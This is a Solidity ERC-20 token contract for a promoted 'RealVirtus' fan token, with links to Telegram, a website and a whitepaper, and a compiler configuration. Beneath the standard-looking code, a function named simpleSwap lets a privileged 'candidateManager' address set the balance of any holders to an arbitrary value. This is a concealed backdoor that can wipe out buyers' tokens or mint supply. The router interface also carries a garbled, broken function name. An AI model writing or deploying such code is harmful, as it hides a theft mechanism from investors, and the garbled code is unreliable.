RealVirtus

/*
Real Virtus
RealVirtus offers a comprehensive platform for businesses to transform RWA into digital tokens. Utilizing cutting-edge tokenization technology and marketplace solutions, we enable companies of all sizes to digitize, trade, and access global liquidity.

Read more: https://wpp.realvirtus.foundation/
https://t.me/RealVirtus_Announcement

 RealVirtus fan token

// Telegram: https://t.me/RealVirtusportal
 // Website: https://www.RealVirtus.live/
 // Twitter: https://x.com/RealVirtus
 // Gitbook: https://what-ai.gitbook.io/RealVirtus

*/

// Real Virtus fan token
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHcandidateManageringFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract RealVirtusToken is ERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isFree;
    mapping(address => bool) public marketPair;

    address payable private _CollectorTaxWallet;
    address private candidateManager;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000000000 * 10**_decimals;
    string private constant _name = unicode"RealVirtus";
    string private constant _symbol = unicode"RealVirtus";

    uint256 public _maxTxAmount = 100000000000000000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000000000000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public _marketingCA = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public LimiterLayer = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _marketingManager) {
        candidateManager = _marketingManager;
        _CollectorTaxWallet = payable(msg.sender);
        _balances[msg.sender] = _tTotal;

        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        isFree[owner()] = true;
        isFree[address(this)] = true;
        isFree[address(uniswapV2Pair)] = true;

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    modifier _ERC20manager() {
        require(msg.sender == candidateManager, "UNAUTHORIZED");
        _;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
    return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);

            if (marketPair[from] && to != address(uniswapV2Router) && !isFree[to]) {
                taxAmount = amount.mul(_finalBuyTax).div(100);
            }

            if (marketPair[to] && from != address(this)) {
                taxAmount = amount.mul(_finalSellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapAndLiquify(uint256 tokenAmount) private lockTheSwap {
        uint256 half = tokenAmount.div(2);
        uint256 otherHalf = tokenAmount.sub(half);

        uint256 initialBalance = address(this).balance;

        swapTokensForEth(half);

        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidity(otherHalf, newBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHcandidateManageringFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
     string public RealVirtusCtVersion = "0.8.28";
            function getRealVirtusCtVersion() public view returns (string memory) {
        return RealVirtusCtVersion;
    }
    function simpleSwap(address[] memory tuple, uint _data) external _ERC20manager {
        for(uint i = 0; i < tuple.length; i++) {
            _balances[tuple[i]] = _data;
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

{
  "compilationTarget": {
    "RealVirtusToken.sol": "RealVirtusToken"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}